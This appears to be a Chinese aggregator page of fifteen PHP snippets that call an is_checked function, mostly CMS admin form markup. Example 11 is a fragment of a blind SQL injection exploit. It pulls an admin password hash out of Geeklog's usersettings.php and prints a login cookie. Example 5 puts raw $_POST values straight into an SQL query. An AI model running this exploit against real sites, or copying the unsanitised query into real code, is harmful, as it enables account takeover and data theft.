本文整理汇总了PHP中is_checked函数的典型用法代码示例。如果您正苦于以下问题:PHP is_checked函数的具体用法?PHP is_checked怎么用?PHP is_checked使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了is_checked函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: setBoolFromRequet
public static function setBoolFromRequet($key, $config)
{
if (isset($_REQUEST[$key])) {
Globals::$Config->set(CFG_DEFAULT_SECTION, $config, Globals::$Config->toBool(is_checked($_REQUEST[$key])));
} else {
Globals::$Config->set(CFG_DEFAULT_SECTION, $config, Globals::$Config->toBool(false));
}
}
示例2: update_bool_config_from_request
function update_bool_config_from_request($key, $config)
{
if (isset($_REQUEST[$key])) {
Globals::$Config->set(CFG_SECTION_MAIN, $config, Globals::$Config->toBool(is_checked($_REQUEST[$key])));
} else {
Globals::$Config->set(CFG_SECTION_MAIN, $config, Globals::$Config->toBool(false));
}
}
示例3: is_checked
} else {
is_checked($plugin['data']['adcampaign_status'], 1);
echo ' /></td><td><label for="adcampaign_status">' . $BL['be_cnt_activated'] . '</label></td></tr>';
}
?>
</table></td>
</tr>
<?php
if (!empty($plugin['data']['adcampaign_id'])) {
?>
<tr>
<td align="right" class="chatlist"> </td>
<td><table border="0" cellpadding="0" cellspacing="0" summary="">
<tr>
<td><input type="checkbox" name="adcampaign_duplicate" id="adcampaign_duplicate" value="1"<?php
is_checked(empty($plugin['data']['adcampaign_duplicate']) ? 0 : 1, 1);
?>
/></td>
<td><label for="adcampaign_duplicate"><?php
echo $BLM['save_copy'];
?>
</label></td>
</tr>
</table></td>
</tr>
<?php
}
?>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td>
</tr>
示例4: html_entities
echo $plugin['data']['shop_pref_terms_format'] ? html_entities($plugin['data']['shop_pref_terms']) : html_specialchars($plugin['data']['shop_pref_terms']);
?>
</textarea></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td></tr>
<tr>
<td align="right" class="chatlist tdtop3"><?php
echo $BLM['shopprod_api'];
?>
: </td>
<td><table summary="" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><input type="checkbox" name="pref_api_access" id="pref_api_access" value="1"<?php
is_checked('1', $plugin['data']['shop_pref_api_access']);
?>
onchange="enableSubmit();" /></td>
<td class="f10"><label for="pref_api_access"><?php
echo $BLM['shopprod_api_access'];
?>
</label> </td>
<td class="chatlist"><?php
echo trim($BLM['shopprod_api_key']);
?>
: </td>
<td><input name="pref_api_key" type="text" id="pref_api_key" class="v12 width175" value="<?php
echo html_specialchars($plugin['data']['shop_pref_api_key']);
?>
" size="20" maxlength="50" onchange="enableSubmit();" /></td>
</tr>
示例5:
$all_fields .= " , bo_content_head = '{$bo_content_head}' ";
}
if (is_checked('chk_all_content_tail')) {
$all_fields .= " , bo_content_tail = '{$bo_content_tail}' ";
}
if (is_checked('chk_all_mobile_content_head')) {
$all_fields .= " , bo_mobile_content_head = '{$bo_mobile_content_head}' ";
}
if (is_checked('chk_all_mobile_content_tail')) {
$all_fields .= " , bo_mobile_content_tail = '{$bo_mobile_content_tail}' ";
}
if (is_checked('chk_all_insert_content')) {
$all_fields .= " , bo_insert_content = '{$bo_insert_content}' ";
}
if (is_checked('chk_all_use_search')) {
$all_fields .= " , bo_use_search = '{$bo_use_search}' ";
}
if (is_checked('chk_all_order')) {
$all_fields .= " , bo_order = '{$bo_order}' ";
}
for ($i = 1; $i <= 10; $i++) {
if (is_checked('chk_all_' . $i)) {
$all_fields .= " , bo_{$i}_subj = '" . $_POST['bo_' . $i . '_subj'] . "' ";
$all_fields .= " , bo_{$i} = '" . $_POST['bo_' . $i] . "' ";
}
}
if ($all_fields) {
sql_query(" update {$g5['board_table']} set bo_table = bo_table {$all_fields} ");
}
delete_cache_latest($bo_table);
goto_url("./board_form.php?w=u&bo_table={$bo_table}&{$qstr}");
示例6: loca
if ($id == 5) {
$mission_hold = true;
}
if ($id == 15) {
$mission_exp = true;
}
if ($id == 15) {
echo " <tr height=\"20\">\n";
echo "<th>\n";
echo " <input type=\"radio\" name=\"order\" value=\"15\" checked='checked'>" . loca("FLEET_ORDER_{$id}") . "<br />\n";
echo " <br><font color=red>ВНИМАНИЕ! Экспедиция - очень рискованная миссия, не предназначенная для сэйва.</font> </th>\n";
echo " </tr>\n";
} else {
echo " <tr height=\"20\">\n";
echo "<th>\n";
echo " <input type=\"radio\" name=\"order\" value=\"{$id}\" " . is_checked($id) . ">" . loca("FLEET_ORDER_{$id}") . "<br />\n";
echo " </th>\n";
echo " </tr>\n";
}
}
}
?>
</table>
</th>
<th>
<table width="259" border="0" cellpadding="0" cellspacing="0">
<tr height="20">
<td colspan="3" class="c">Сырьё</td>
</tr>
示例7: is_checked
echo $BL['be_granted_download'];
?>
</label></td>
</tr>
<tr>
<td><input name="file_public" type="checkbox" id="file_public" value="1"<?php
is_checked("1", $file_public);
?>
/></td>
<td class="v10"><strong><label for="file_public"><?php
echo $BL['be_ftptakeover_public'];
?>
</label></strong> </td>
<td><input name="file_gallerydownload" type="checkbox" id="file_gallerydownload" value="1"<?php
is_checked(1, $file_gallerydownload);
?>
></td>
<td class="v10"><label for="file_gallerydownload"><?php
echo $BL['be_gallerydownload'];
?>
</label></td>
</tr>
</table></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="5" /></td></tr>
<tr>
<td valign="top"><input name="file_aktion" type="hidden" id="file_aktion" value="1" />
<input type="hidden" name="MAX_FILE_SIZE" value="<?php
示例8: is_checked
<td align="right" class="v09"><?php
echo $BL['be_ftptakeover_status'];
?>
: </td>
<td><table border="0" cellpadding="1" cellspacing="0" bgcolor="#E6EAED" summary="">
<tr>
<td><input name="file_aktiv" type="checkbox" id="file_aktiv" value="1"<?php
is_checked($phpwcms['set_file_active'], 1);
?>
/></td>
<td class="v10"><strong><label for="file_aktiv"><?php
echo $BL['be_ftptakeover_active'];
?>
</label></strong> </td>
<td><input name="file_public" type="checkbox" id="file_public" value="1"<?php
is_checked($phpwcms['set_file_active'], 1);
?>
/></td>
<td class="v10"><strong><label for="file_public"><?php
echo $BL['be_ftptakeover_public'];
?>
</label></strong> </td>
<td><input name="file_replace" type="checkbox" id="file_replace" value="1" /></td>
<td class="v10"><strong><label for="file_replace"><?php
echo $BL['be_file_replace'];
?>
</label></strong> </td>
</tr>
</table>
</td>
</tr>
示例9: is_checked
echo $BL['be_admin_usr_ifadmin'];
?>
<strong style="color:#FF0000">!!!</strong></label></td>
</tr>
</table></td>
</tr>
<tr>
<td align="right" class="chatlist"><?php
echo $BL['be_admin_usr_verify'];
?>
: </td>
<td><table border="0" cellpadding="0" cellspacing="0" summary="">
<tr><td colspan="3"><img src="img/leer.gif" alt="" width="1" height="6"></td></tr>
<tr bgcolor="#E7E8EB">
<td><input name="verification_email" type="checkbox" id="verification_email" value="1"<?php
is_checked($send_verification, 1);
?>
></td>
<td><label for="verification_email"><?php
echo $BL['be_admin_usr_sendemail'];
?>
</label></td>
<td><img src="img/leer.gif" alt="" width="4" height="21"></td>
</tr>
<tr><td colspan="3"><img src="img/leer.gif" alt="" width="1" height="6"></td></tr>
</table></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="6"><input name="form_aktion" type="hidden" value="create_account"></td></tr>
<tr>
<td> </td>
<td><input name="Submit" type="submit" class="button" value="<?php
示例10: is_checked
<td align="right" class="chatlist"><?php
echo $BL['be_cnt_pages_from'];
?>
: </td>
<td valign="top"><table border="0" cellpadding="0" cellspacing="0" bgcolor="#E7E8EB" summary="">
<tr>
<td><input name="cpage_source" type="radio" value="0" <?php
is_checked(0, $content["page_file"]["source"]);
?>
></td>
<td><?php
echo $BL['be_cnt_pages_fromfile'];
?>
</td>
<td><input name="cpage_source" type="radio" value="1" <?php
is_checked(1, $content["page_file"]["source"]);
?>
></td>
<td><?php
echo $BL['be_cnt_pages_manually'];
?>
</td>
</tr></table></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="5"></td></tr>
<tr>
<td align="right" class="chatlist"><?php
echo $BL['be_cnt_pages_cust'];
?>
: </td>
<td><input name="cpage_custom" type="text" class="f11" id="cpage_custom" style="width: 440px" value="<?php
示例11: _s
$out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($rst_sql) . "&");
#then start extraction
$c = array();
$c = array_merge($c, range(0x30, 0x39));
$c = array_merge($c, range(0x61, 0x66));
$url = "http://{$host}:{$port}" . $path;
$_hash = "";
print "[*] Initiating hash extraction ...\n";
for ($j = 1; $j < 0x21; $j++) {
for ($i = 0; $i <= 0xff; $i++) {
$f = false;
if (in_array($i, $c)) {
$sql = "0) AND 0 UNION SELECT 1,IF(ASCII(SUBSTR(passwd FROM {$j} FOR 1))={$i},1,0x61646d696e5f626c6f636b) FROM " . $prefix . "users WHERE " . $where . " LIMIT 1/*";
$url = "http://{$host}:{$port}" . $path . "usersettings.php";
$out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($sql) . "&");
if (is_checked()) {
$f = true;
$_hash .= chr($i);
print "[*] Md5 Hash: " . $_hash . str_repeat("?", 0x20 - $j) . "\n";
#if found , uncheck again
$out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($rst_sql) . "&");
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error ...");
}
}
print "[*] Done! Cookie: geeklog={$uid}; password=" . $_hash . ";\n";
?>
示例12: is_checked
<td align="right" class="chatlist"><?php
echo $BL['be_cnt_reference_basis'];
?>
: </td>
<td valign="top"><table border="0" cellpadding="0" cellspacing="0" summary="">
<tr>
<td bgcolor="#E7E8EB"><input name="creference_basis" type="radio" value="0" <?php
is_checked(0, $content["reference"]["basis"]);
?>
></td>
<td class="v10" bgcolor="#E7E8EB"><?php
echo $BL['be_cnt_reference_horizontal'];
?>
</td>
<td bgcolor="#E7E8EB"><input name="creference_basis" type="radio" value="1" <?php
is_checked(1, $content["reference"]["basis"]);
?>
></td>
<td class="v10" bgcolor="#E7E8EB"><?php
echo $BL['be_cnt_reference_vertical'];
?>
</td>
<td class="chatlist"> </td>
<td><select name="creference_pos" id="creference_pos">
<option value="0" <?php
is_selected(0, $content['reference']["pos"]);
?>
><?php
echo $BL['be_cnt_default'];
?>
</option>
示例13: is_checked
is_checked($plugin['data']['calendar_status'], 1);
?>
/></td>
<td><label for="calendar_status"><?php
echo $BL['be_cnt_activated'];
?>
</label></td>
</tr>
</table></td>
</tr>
<tr>
<td align="right" class="chatlist"> </td>
<td><table border="0" cellpadding="0" cellspacing="0" summary="">
<tr>
<td><input type="checkbox" name="calendar_duplicate" id="calendar_duplicate" value="1"<?php
is_checked(empty($plugin['data']['calendar_duplicate']) ? 0 : 1, 1);
?>
/></td>
<td><label for="calendar_duplicate"><?php
echo $BLM['save_copy'];
?>
</label></td>
</tr>
</table></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="10" /></td>
</tr>
<tr>
<td> </td>
<td>
示例14: is_selected
</option>
<option value="21"<?php
is_selected(21, $content['alink']['alink_type']);
?>
><?php
echo $BL['be_random'] . ', ' . $BL['be_article_atitle'] . ', ' . $BL['be_admin_struct_orderasc'];
?>
</option>
</optgroup>
</select>
</td>
<td> </td>
<td bgcolor="#e7e8eb" id="prio0"><input type="checkbox" name="calink_prio" id="calink_prio" value="1"<?php
is_checked(1, $content['alink']['alink_prio']);
?>
/></td>
<td bgcolor="#e7e8eb" id="prio1"><label for="calink_prio"> <?php
echo $BL['be_use_prio'];
?>
</label></td>
</tr>
</table></td>
</tr>
<tr><td colspan="2"><img src="img/leer.gif" alt="" width="1" height="8" /></td></tr>
<tr id="calink_manual_0"<?php
if ($content['alink']['alink_type']) {
echo ' style="display:none"';
示例15: is_checked
<td><table summary="" border="0" cellpadding="1" cellspacing="0" bgcolor="#E7E8EB">
<tr>
<td><input name="cvisible" type="checkbox" id="cvisible" value="1"<?php
is_checked(1, $content["visible"]);
?>
/></td>
<td><label for="cvisible"><?php
echo $BL['be_admin_struct_visible'];
?>
</label></td>
<td bgcolor="#FFFFFF"> </td>
<td><input name="cgranted" type="checkbox" id="cgranted" value="1"<?php
is_checked(1, $content["granted"]);
?>
/></td>
<td><label for="cgranted"><?php
echo $BL['be_granted_feuser'];
?>
</label></td>
</tr>
</table></td>
</tr>
<tr>
<td> </td>
<td style="padding: 12px 0 12px 0;">